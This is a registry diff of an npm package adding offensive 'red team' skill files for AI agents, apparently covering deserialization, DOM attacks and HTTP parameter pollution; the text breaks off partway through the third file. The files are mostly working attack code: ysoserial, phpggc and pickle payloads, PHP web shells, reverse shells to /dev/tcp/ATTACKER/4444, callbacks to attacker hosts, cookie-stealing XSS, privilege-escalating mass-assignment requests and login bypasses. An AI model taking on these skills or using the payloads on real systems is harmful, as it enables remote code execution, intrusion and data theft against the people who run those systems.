rtexit-method 0.1.7 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-deserialization
|
|
3
|
+
description: "Insecure deserialization master skill covering all major languages for authorized engagements. Java deserialization with ysoserial gadget chains, PHP object injection with phpggc, .NET ViewState and BinaryFormatter attacks, Python pickle RCE, Ruby Marshal deserialization, Node.js serialize-to-function, and identifying deserialization sinks across frameworks. Use when applications accept serialized objects from untrusted input."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-deserialization — Insecure Deserialization (All Languages)
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Deserialization converts byte streams back into objects. When applications deserialize attacker-controlled data without validation, attackers can craft malicious serialized objects that trigger code execution via "gadget chains" — sequences of existing code that execute dangerous operations during deserialization.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection Across Languages
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Java serialization magic bytes
|
|
18
|
+
# AC ED 00 05 = Java serialized object
|
|
19
|
+
# rO0AB = base64 of AC ED 00 05
|
|
20
|
+
echo "rO0ABXNy..." | base64 -d | xxd | head -2
|
|
21
|
+
|
|
22
|
+
# PHP serialization format
|
|
23
|
+
# O:4:"User":1:{s:4:"name";s:5:"admin";}
|
|
24
|
+
# a:2:{s:5:"hello";s:5:"world";}
|
|
25
|
+
|
|
26
|
+
# .NET BinaryFormatter
|
|
27
|
+
# AAEAAAD///// = base64 marker
|
|
28
|
+
# Content-Type: application/x-www-form-urlencoded with ViewState param
|
|
29
|
+
|
|
30
|
+
# Python pickle
|
|
31
|
+
# \x80\x04 = pickle protocol 4 magic bytes
|
|
32
|
+
|
|
33
|
+
# Node.js (serialize-javascript, node-serialize)
|
|
34
|
+
# {"rce":"_$$ND_FUNC$$_function(){return require('child_process').execSync('id')}()"}
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Phase 2 — Java Deserialization
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# ysoserial — Java gadget chain generator
|
|
43
|
+
java -jar ysoserial.jar # List available gadget chains
|
|
44
|
+
|
|
45
|
+
# Most useful chains
|
|
46
|
+
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0
|
|
47
|
+
java -jar ysoserial.jar CommonsCollections5 'curl http://ATTACKER/$(id)' | base64 -w0
|
|
48
|
+
java -jar ysoserial.jar Spring1 'id' | base64 -w0
|
|
49
|
+
java -jar ysoserial.jar Groovy1 'id' | base64 -w0
|
|
50
|
+
|
|
51
|
+
# Test with curl — replace serialized value in cookie/header/body
|
|
52
|
+
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0)
|
|
53
|
+
curl "https://target.com/api" \
|
|
54
|
+
-H "Authorization: $PAYLOAD"
|
|
55
|
+
# Or in cookie: -b "JSESSIONID=$PAYLOAD"
|
|
56
|
+
# Or POST body with base64 encoded payload
|
|
57
|
+
|
|
58
|
+
# Blind RCE via DNS (confirm execution)
|
|
59
|
+
java -jar ysoserial.jar CommonsCollections6 \
|
|
60
|
+
'curl http://BURP_COLLABORATOR.burpcollaborator.net' | base64 -w0
|
|
61
|
+
|
|
62
|
+
# Identify gadget chain — check classpath
|
|
63
|
+
# Look for: commons-collections, spring-core, groovy-all in pom.xml/build.gradle
|
|
64
|
+
find /app -name "*.jar" | xargs -I{} jar tf {} | grep -i "commons\|spring"
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## Phase 3 — PHP Object Injection
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# phpggc — PHP gadget chain generator (like ysoserial for PHP)
|
|
73
|
+
git clone https://github.com/ambionics/phpggc
|
|
74
|
+
php phpggc -l # List gadget chains
|
|
75
|
+
|
|
76
|
+
# Useful chains
|
|
77
|
+
php phpggc Laravel/RCE1 system id | base64
|
|
78
|
+
php phpggc Symfony/RCE4 exec 'id' | base64
|
|
79
|
+
php phpggc Drupal/FD1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'
|
|
80
|
+
php phpggc Guzzle/FW1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'
|
|
81
|
+
|
|
82
|
+
# Manual PHP object injection
|
|
83
|
+
# Find unserialize() calls with user input:
|
|
84
|
+
# unserialize($_COOKIE['data'])
|
|
85
|
+
# unserialize(base64_decode($_GET['obj']))
|
|
86
|
+
|
|
87
|
+
# Craft malicious object (if __wakeup, __destruct, __toString with dangerous code)
|
|
88
|
+
php -r "
|
|
89
|
+
class VulnClass {
|
|
90
|
+
public \$cmd;
|
|
91
|
+
function __destruct() { system(\$this->cmd); }
|
|
92
|
+
}
|
|
93
|
+
\$o = new VulnClass();
|
|
94
|
+
\$o->cmd = 'id';
|
|
95
|
+
echo base64_encode(serialize(\$o));
|
|
96
|
+
"
|
|
97
|
+
|
|
98
|
+
# Phar deserialization (file operations trigger deserialization)
|
|
99
|
+
php -r "
|
|
100
|
+
\$phar = new Phar('evil.phar');
|
|
101
|
+
\$phar->startBuffering();
|
|
102
|
+
\$phar->addFromString('test.txt', 'test');
|
|
103
|
+
\$phar->setMetadata(new VulnClass());
|
|
104
|
+
\$phar->stopBuffering();
|
|
105
|
+
"
|
|
106
|
+
rename('evil.phar', 'evil.jpg') # Rename to bypass extension check
|
|
107
|
+
# Trigger: file_exists('phar://uploads/evil.jpg')
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Phase 4 — Python Pickle RCE
|
|
113
|
+
|
|
114
|
+
```python
|
|
115
|
+
# Pickle deserialization = arbitrary code execution
|
|
116
|
+
import pickle, base64, os
|
|
117
|
+
|
|
118
|
+
class Exploit(object):
|
|
119
|
+
def __reduce__(self):
|
|
120
|
+
return (os.system, ('id',))
|
|
121
|
+
|
|
122
|
+
# Generate payload
|
|
123
|
+
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
|
|
124
|
+
print(f"Payload: {payload}")
|
|
125
|
+
|
|
126
|
+
# Reverse shell payload
|
|
127
|
+
class ReverseShell(object):
|
|
128
|
+
def __reduce__(self):
|
|
129
|
+
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
|
|
130
|
+
return (os.system, (cmd,))
|
|
131
|
+
|
|
132
|
+
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
|
|
133
|
+
|
|
134
|
+
# Test if endpoint accepts pickle
|
|
135
|
+
import requests
|
|
136
|
+
r = requests.post("https://target.com/api/data",
|
|
137
|
+
data={"data": payload})
|
|
138
|
+
# Or in cookie, header, etc.
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Phase 5 — .NET Deserialization
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
# ysoserial.net — .NET gadget chains
|
|
147
|
+
ysoserial.net -f Json.Net -g ObjectDataProvider -c "calc.exe" -o base64
|
|
148
|
+
ysoserial.net -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o base64
|
|
149
|
+
ysoserial.net -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "payload.cs" -o base64
|
|
150
|
+
|
|
151
|
+
# ViewState deserialization (ASP.NET WebForms)
|
|
152
|
+
# If MachineKey known/weak → forge ViewState with payload
|
|
153
|
+
ysoserial.net -p ViewState -g TextFormattingRunProperties \
|
|
154
|
+
--decryptionalg="AES" --decryptionkey="KEY_FROM_WEB.CONFIG" \
|
|
155
|
+
--validationalg="SHA1" --validationkey="VKEY_FROM_WEB.CONFIG" \
|
|
156
|
+
-c "cmd /c whoami" -o base64
|
|
157
|
+
|
|
158
|
+
# Locate MachineKey in web.config
|
|
159
|
+
curl https://target.com/.git/config # Maybe web.config exposed
|
|
160
|
+
# Or: read via LFI/XXE
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Phase 6 — Ruby Marshal Deserialization
|
|
166
|
+
|
|
167
|
+
```ruby
|
|
168
|
+
# Marshal.load with user input = RCE
|
|
169
|
+
require 'base64'
|
|
170
|
+
|
|
171
|
+
# Gadget chain for Ruby on Rails with universal_gadget
|
|
172
|
+
# Tool: rails-deserialization-exploits
|
|
173
|
+
# github.com/Ren0503/ruby-deserialization
|
|
174
|
+
|
|
175
|
+
payload = Base64.encode64(Marshal.dump(
|
|
176
|
+
# Construct gadget chain here
|
|
177
|
+
))
|
|
178
|
+
|
|
179
|
+
# Test if endpoint accepts Marshal data
|
|
180
|
+
# Look for: application/x-ruby-marshal content-type
|
|
181
|
+
# Or: base64 strings starting with BAhb (Ruby Marshal magic)
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7 — Node.js Deserialization
|
|
187
|
+
|
|
188
|
+
```javascript
|
|
189
|
+
// node-serialize vulnerable pattern
|
|
190
|
+
var serialize = require('node-serialize');
|
|
191
|
+
|
|
192
|
+
// Malicious serialized object with IIFE
|
|
193
|
+
var payload = '{"rce":"_$$ND_FUNC$$_function(){return require(\'child_process\').execSync(\'id\').toString()}()"}';
|
|
194
|
+
|
|
195
|
+
// Test: encode and send
|
|
196
|
+
var encoded = Buffer.from(payload).toString('base64');
|
|
197
|
+
// Send in cookie or POST body
|
|
198
|
+
|
|
199
|
+
// Reverse shell
|
|
200
|
+
var revshell = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'bash -c \\\\\'bash -i >& /dev/tcp/ATTACKER/4444 0>&1\\\\\'\')}()"}';
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Skill Levels
|
|
206
|
+
|
|
207
|
+
**BEGINNER:** Identify serialization format (magic bytes) · ysoserial DNS callback confirmation · phpggc basic chain
|
|
208
|
+
|
|
209
|
+
**INTERMEDIATE:** Java CommonsCollections chains · PHP phar deserialization · Python pickle RCE
|
|
210
|
+
|
|
211
|
+
**ADVANCED:** .NET ViewState with known MachineKey · Ruby Rails gadget chains · Blind RCE confirmation via DNS
|
|
212
|
+
|
|
213
|
+
**EXPERT:** Custom gadget chain development · Cross-language polyglot payloads · JNDI injection variants
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## References
|
|
218
|
+
|
|
219
|
+
- ysoserial: https://github.com/frohoff/ysoserial
|
|
220
|
+
- phpggc: https://github.com/ambionics/phpggc
|
|
221
|
+
- ysoserial.net: https://github.com/pwntester/ysoserial.net
|
|
222
|
+
- OWASP Deserialization: https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
|
|
223
|
+
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
|
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-dom-attacks
|
|
3
|
+
description: "DOM-based vulnerability skill for authorized engagements. DOM XSS via dangerous sinks (innerHTML, eval, document.write, location), DOM clobbering to bypass security checks, client-side template injection (AngularJS, Vue, React), postMessage exploitation, DOM-based open redirect, and web messaging attacks. Use when testing client-side JavaScript security in modern single-page applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-dom-attacks — DOM-Based Vulnerabilities
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
DOM-based vulnerabilities occur entirely client-side — the server sends safe data but the browser's JavaScript processes it unsafely. Traditional XSS scanners miss these. Sources (user-controlled input) flow into dangerous sinks (functions that execute code) through JavaScript execution paths.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — DOM XSS Sources & Sinks
|
|
15
|
+
|
|
16
|
+
```javascript
|
|
17
|
+
// SOURCES (attacker-controlled inputs)
|
|
18
|
+
location.href // Full URL
|
|
19
|
+
location.search // Query string (?q=...)
|
|
20
|
+
location.hash // Fragment (#...)
|
|
21
|
+
location.pathname // URL path
|
|
22
|
+
document.referrer // Referrer header
|
|
23
|
+
window.name // Window name (survives navigation!)
|
|
24
|
+
postMessage data // Cross-origin messages
|
|
25
|
+
localStorage/sessionStorage
|
|
26
|
+
|
|
27
|
+
// SINKS (dangerous functions — cause XSS if tainted data flows in)
|
|
28
|
+
// CODE EXECUTION sinks
|
|
29
|
+
eval()
|
|
30
|
+
setTimeout("STRING") // String form — dangerous
|
|
31
|
+
setInterval("STRING")
|
|
32
|
+
new Function("STRING")
|
|
33
|
+
document.write()
|
|
34
|
+
document.writeln()
|
|
35
|
+
|
|
36
|
+
// HTML INJECTION sinks
|
|
37
|
+
element.innerHTML = TAINTED
|
|
38
|
+
element.outerHTML = TAINTED
|
|
39
|
+
element.insertAdjacentHTML()
|
|
40
|
+
document.body.innerHTML
|
|
41
|
+
|
|
42
|
+
// URL NAVIGATION sinks (can be javascript: protocol)
|
|
43
|
+
location = TAINTED
|
|
44
|
+
location.href = TAINTED
|
|
45
|
+
location.assign(TAINTED)
|
|
46
|
+
location.replace(TAINTED)
|
|
47
|
+
|
|
48
|
+
// Script SRC sinks
|
|
49
|
+
script.src = TAINTED
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## Phase 2 — DOM XSS Examples
|
|
55
|
+
|
|
56
|
+
```javascript
|
|
57
|
+
// URL fragment → innerHTML (common in SPA routing)
|
|
58
|
+
// Source: location.hash
|
|
59
|
+
// Sink: innerHTML
|
|
60
|
+
// Vulnerable code: document.getElementById('content').innerHTML = location.hash.slice(1)
|
|
61
|
+
// Exploit: https://target.com/#<img src=x onerror=alert(1)>
|
|
62
|
+
|
|
63
|
+
// URL param → eval
|
|
64
|
+
// Vulnerable: eval(new URLSearchParams(location.search).get('callback'))
|
|
65
|
+
// Exploit: https://target.com/?callback=alert(document.cookie)
|
|
66
|
+
|
|
67
|
+
// URL param → document.write
|
|
68
|
+
// Vulnerable: document.write('<img src="' + getParam('img') + '">')
|
|
69
|
+
// Exploit: https://target.com/?img=x" onerror="alert(1)
|
|
70
|
+
|
|
71
|
+
// URL param → location (open redirect → XSS)
|
|
72
|
+
// Vulnerable: location.href = getParam('redirect')
|
|
73
|
+
// Exploit: https://target.com/?redirect=javascript:alert(1)
|
|
74
|
+
|
|
75
|
+
// window.name XSS (survives cross-origin navigation)
|
|
76
|
+
// Attacker page:
|
|
77
|
+
window.name = "<img src=x onerror=alert(document.cookie)>"
|
|
78
|
+
location = "https://target.com/vulnerable-page"
|
|
79
|
+
// Target page uses: document.write(window.name)
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3 — DOM Clobbering
|
|
85
|
+
|
|
86
|
+
```html
|
|
87
|
+
<!-- DOM clobbering: use HTML to override JavaScript variables/objects -->
|
|
88
|
+
<!-- Overwrites window.x with a DOM element -->
|
|
89
|
+
<a id="x">clobbered</a>
|
|
90
|
+
<!-- Now: window.x = HTMLAnchorElement (not undefined) -->
|
|
91
|
+
<!-- If code does: if(!x) { securityCheck() } → check bypassed -->
|
|
92
|
+
|
|
93
|
+
<!-- Clobber security flag -->
|
|
94
|
+
<form id="isAdmin"><input id="value" value="true"></form>
|
|
95
|
+
<!-- If code: if(isAdmin.value === 'true') → bypassed -->
|
|
96
|
+
|
|
97
|
+
<!-- Clobber URL used in script src -->
|
|
98
|
+
<a id="config"><a id="config" name="scriptURL" href="//attacker.com/evil.js"></a>
|
|
99
|
+
<!-- If code: script.src = config.scriptURL → loads attacker script -->
|
|
100
|
+
|
|
101
|
+
<!-- Real attack: inject via stored XSS on subdomain, clobber parent -->
|
|
102
|
+
<!-- Or: HTML injection without script execution (CSP bypass) -->
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Phase 4 — Client-Side Template Injection (CSTI)
|
|
108
|
+
|
|
109
|
+
```javascript
|
|
110
|
+
// AngularJS CSTI → RCE in browser sandbox
|
|
111
|
+
// If user input is placed inside ng-app context:
|
|
112
|
+
// Test: {{7*7}} → if 49 appears → CSTI
|
|
113
|
+
|
|
114
|
+
// AngularJS sandbox escape (old versions)
|
|
115
|
+
{{constructor.constructor('alert(1)')()}}
|
|
116
|
+
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
|
117
|
+
|
|
118
|
+
// AngularJS 1.x universal sandbox escape
|
|
119
|
+
{{a=['constructor'][0];b=a.constructor;c=b('return window')();c.alert(c.document.cookie)}}
|
|
120
|
+
|
|
121
|
+
// Vue.js CSTI
|
|
122
|
+
// Test: {{7*7}}
|
|
123
|
+
// {{constructor.constructor('alert(1)')()}}
|
|
124
|
+
// $el.ownerDocument.defaultView.alert(1)
|
|
125
|
+
|
|
126
|
+
// React: generally safe (JSX escapes) but dangerouslySetInnerHTML is a sink
|
|
127
|
+
// Test for dangerouslySetInnerHTML in source → same as innerHTML
|
|
128
|
+
|
|
129
|
+
// Angular (modern) — strict mode, harder to exploit
|
|
130
|
+
// Look for: bypassSecurityTrustHtml(), sanitize bypass
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Phase 5 — postMessage Exploitation
|
|
136
|
+
|
|
137
|
+
```javascript
|
|
138
|
+
// postMessage allows cross-origin communication
|
|
139
|
+
// Vulnerable: doesn't validate origin of incoming messages
|
|
140
|
+
|
|
141
|
+
// Vulnerable code:
|
|
142
|
+
window.addEventListener("message", function(e) {
|
|
143
|
+
eval(e.data); // No origin check!
|
|
144
|
+
// Or: document.getElementById("content").innerHTML = e.data
|
|
145
|
+
});
|
|
146
|
+
|
|
147
|
+
// Exploit from attacker.com:
|
|
148
|
+
<script>
|
|
149
|
+
var target = window.open("https://target.com/", "_blank");
|
|
150
|
+
setTimeout(function() {
|
|
151
|
+
target.postMessage("<img src=x onerror=alert(document.cookie)>", "*");
|
|
152
|
+
// Or: target.postMessage("alert(1)", "*");
|
|
153
|
+
}, 2000);
|
|
154
|
+
</script>
|
|
155
|
+
|
|
156
|
+
// Bypass origin check weaknesses
|
|
157
|
+
// if (e.origin.indexOf("target.com") !== -1) ← bypass with: attacker.target.com
|
|
158
|
+
// if (e.origin === "https://target.com") ← strict (safe)
|
|
159
|
+
|
|
160
|
+
// postMessage CSRF
|
|
161
|
+
target.postMessage('{"action":"transfer","amount":1000,"to":"attacker"}', "*")
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## Phase 6 — DOM-Based Open Redirect
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# DOM redirect used as XSS vector
|
|
170
|
+
# Vulnerable: window.location = getParam('url')
|
|
171
|
+
# XSS: ?url=javascript:alert(document.cookie)
|
|
172
|
+
|
|
173
|
+
# Bypass common filters
|
|
174
|
+
?url=javascript:alert(1)
|
|
175
|
+
?url=JaVaScRiPt:alert(1) # Case variation
|
|
176
|
+
?url=javascript%3aalert(1) # URL encoded colon
|
|
177
|
+
?url=java%0ascript:alert(1) # Newline injection
|
|
178
|
+
?url=data:text/html,<script>alert(1)</script>
|
|
179
|
+
?url=//attacker.com # Protocol-relative
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## Automated DOM XSS Testing
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
# DOMXSSScanner
|
|
188
|
+
pip3 install dalfox
|
|
189
|
+
dalfox url "https://target.com/?q=test" --deep-domxss
|
|
190
|
+
|
|
191
|
+
# DOM Invader (Burp Suite built-in)
|
|
192
|
+
# Browser → Extensions → Burp Suite → DOM Invader
|
|
193
|
+
# Injects canary string → tracks through DOM → finds sinks
|
|
194
|
+
|
|
195
|
+
# Playwright-based DOM XSS scanner
|
|
196
|
+
npm install -g js-xss-scanner
|
|
197
|
+
js-xss-scanner https://target.com
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## Skill Levels
|
|
203
|
+
|
|
204
|
+
**BEGINNER:** URL fragment/parameter to innerHTML · document.write XSS · Open redirect via location=
|
|
205
|
+
|
|
206
|
+
**INTERMEDIATE:** DOM clobbering for security bypass · AngularJS CSTI sandbox escape · postMessage origin bypass
|
|
207
|
+
|
|
208
|
+
**ADVANCED:** window.name persistence XSS · Vue.js CSTI · Complex source-to-sink tracing
|
|
209
|
+
|
|
210
|
+
**EXPERT:** Custom DOM analysis tooling · React dangerouslySetInnerHTML chains · CSP bypass via DOM
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## References
|
|
215
|
+
|
|
216
|
+
- PortSwigger DOM XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
|
|
217
|
+
- DOM Invader: https://portswigger.net/burp/documentation/desktop/tools/dom-invader
|
|
218
|
+
- PortSwigger DOM Clobbering: https://portswigger.net/web-security/dom-based/dom-clobbering
|
|
219
|
+
- Client-side PP gadgets: https://github.com/BlackFan/client-side-prototype-pollution
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-http-parameter-pollution
|
|
3
|
+
description: "HTTP Parameter Pollution, mass assignment, and parameter tampering skill for authorized engagements. HPP to bypass WAF/filters, duplicate parameter behavior across frameworks, mass assignment in REST APIs (adding role/admin fields), hidden parameter discovery, parameter type juggling, array injection, and JSON property injection. Use when testing how applications handle unexpected or duplicate parameters."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-http-parameter-pollution — HTTP Parameter Pollution & Mass Assignment
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Parameter pollution attacks exploit how applications handle unexpected, duplicate, or extra parameters. Different frameworks handle duplicate parameters differently — what the WAF sees vs what the app sees differs, enabling filter bypass and unauthorized data injection.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — HTTP Parameter Pollution (HPP)
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Different frameworks handle duplicate params differently:
|
|
18
|
+
# PHP: last value wins → ?a=1&a=2 → a=2
|
|
19
|
+
# ASP.NET: first value wins → ?a=1&a=2 → a=1
|
|
20
|
+
# ASP.NET MVC: comma-joined → ?a=1&a=2 → a=1,2
|
|
21
|
+
# Node/Express: array → ?a=1&a=2 → a=['1','2']
|
|
22
|
+
# Flask/Python: first value → ?a=1&a=2 → a=1
|
|
23
|
+
|
|
24
|
+
# WAF bypass: split attack payload across duplicate params
|
|
25
|
+
# WAF sees: a=SEL and a=ECT * → not 'SELECT *' → passes
|
|
26
|
+
# Server concatenates: a=SELECT * → SQLi executes
|
|
27
|
+
curl "https://target.com/search?q=SEL&q=ECT+*+FROM+users"
|
|
28
|
+
curl "https://target.com/search?q=<scr&q=ipt>alert(1)</script>"
|
|
29
|
+
|
|
30
|
+
# Auth bypass via duplicate params
|
|
31
|
+
# If app checks first param but uses second:
|
|
32
|
+
curl "https://target.com/api?admin=false&admin=true"
|
|
33
|
+
|
|
34
|
+
# Test HPP behavior
|
|
35
|
+
for val in "1¶m=2" "1%26param=2" "1;param=2"; do
|
|
36
|
+
curl "https://target.com/api?param=$val" -v
|
|
37
|
+
done
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Mass Assignment
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# REST APIs that bind request body to model objects
|
|
46
|
+
# If model has admin/role field not exposed in docs → inject it
|
|
47
|
+
|
|
48
|
+
# Registration with role escalation
|
|
49
|
+
curl -X POST https://target.com/api/register \
|
|
50
|
+
-H "Content-Type: application/json" \
|
|
51
|
+
-d '{"username":"attacker","password":"pass","role":"admin"}'
|
|
52
|
+
|
|
53
|
+
# Profile update with hidden fields
|
|
54
|
+
curl -X PUT https://target.com/api/user/profile \
|
|
55
|
+
-H "Content-Type: application/json" \
|
|
56
|
+
-d '{"name":"test","isAdmin":true,"verified":true,"credits":99999}'
|
|
57
|
+
|
|
58
|
+
# Common hidden fields to try
|
|
59
|
+
# role, roles, isAdmin, admin, superuser, verified, active
|
|
60
|
+
# credits, balance, quota, tier, plan
|
|
61
|
+
# permissions, scopes, groups
|
|
62
|
+
# created_at, updated_at (override timestamps)
|
|
63
|
+
# password_confirmation (skip validation)
|
|
64
|
+
|
|
65
|
+
# Parameter guessing from error messages
|
|
66
|
+
# Send request → error reveals model field names
|
|
67
|
+
curl -X POST https://target.com/api/register \
|
|
68
|
+
-d '{"invalid_field": "value"}'
|
|
69
|
+
# Error: "Unknown field 'invalid_field'. Known fields: username, password, email, role, isActive"
|
|
70
|
+
# → role and isActive are valid fields!
|
|
71
|
+
|
|
72
|
+
# GraphQL mass assignment
|
|
73
|
+
# Mutations often accept more fields than documented
|
|
74
|
+
curl -X POST https://target.com/graphql \
|
|
75
|
+
-d '{"query":"mutation{updateUser(id:1,input:{name:\"x\",role:\"admin\",isAdmin:true}){id name role}}"}'
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Phase 3 — Array & JSON Injection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Array injection when server expects single value
|
|
84
|
+
# Normal: ?id=1
|
|
85
|
+
# Array: ?id[]=1&id[]=2 → may access records 1 AND 2
|
|
86
|
+
|
|
87
|
+
# PHP array injection
|
|
88
|
+
curl "https://target.com/delete?id[]=1&id[]=2&id[]=999" # Delete multiple records
|
|
89
|
+
curl "https://target.com/api?role[]=user&role[]=admin" # Multiple roles
|
|
90
|
+
|
|
91
|
+
# JSON type confusion
|
|
92
|
+
# Server expects string, send array/object
|
|
93
|
+
curl -X POST https://target.com/api/login \
|
|
94
|
+
-d '{"username":{"$ne":""},"password":{"$ne":""}}' # MongoDB NoSQL injection
|
|
95
|
+
|
|
96
|
+
# Type juggling (PHP loose comparison)
|
|
97
|
+
# md5('240610708') == md5('QNKCDZO') → both start with "0e"
|
|
98
|
+
# PHP treats 0e... as scientific notation → both = 0 → equal!
|
|
99
|
+
curl -X POST https://target.com/login \
|
|
100
|
+
-d "password=240610708" # If stored hash is md5('QNKCDZO') → login bypass
|
|
101
|
+
|
|
102
|
+
# JSON number vs string
|
|
103
|
+
curl -X POST https://target.com/api \
|
|
104
|
+
-d '{"id": "1 OR 1=1"}' # String — possible SQLi
|
|
105
|
+
curl -X POST https://target.com/api \
|
|
106
|
+
-d '{"id": 9999999999}' # Large int — integer overflow
|
|
107
|
+
curl -X POST https://target.com/api \
|
|
108
|
+
-d '{"id": null}' # Null — bypass null check
|
|
109
|
+
curl -X POST https://target.com/api \
|
|
110
|
+
-d '{"id": true}' # Boolean — type confusion
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## Phase 4 — Hidden Parameter Discovery
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
# Param Miner (Burp extension) — automated hidden param discovery
|
|
119
|
+
# Active Scan → Param Miner → "Guess params"
|
|
120
|
+
# Tests thousands of potential parameter names
|
|
121
|
+
|
|
122
|
+
# Manual — common hidden params
|
|
123
|
+
hidden_params=(
|
|
124
|
+
"debug" "test" "admin" "internal" "dev"
|
|
125
|
+
"callback" "redirect" "return" "next" "url"
|
|
126
|
+
"format" "output" "type" "action" "method"
|
|
127
|
+
"id" "user_id" "account_id" "token" "key"
|
|
128
|
+
"override" "bypass" "force" "unsafe"
|
|
129
|
+
)
|
|
130
|
+
|
|
131
|
+
for param in "${hidden_params[@]}"; do
|
|
132
|
+
response=$(curl -s "https://target.com/api?$param=true" -w "%{http_code}")
|
|
133
|
+
echo "$param: ${response: -3}"
|
|
134
|
+
done
|
|
135
|
+
|
|
136
|
+
# Source code mining for hidden params
|
|
137
|
+
# Extract from JavaScript files
|
|
138
|
+
grep -rE "params\[|req\.query\.|request\.args\.|request\.GET\[" *.js *.py *.rb
|
|
139
|
+
linkfinder -i https://target.com -d # Extract endpoints + params from JS
|
|
140
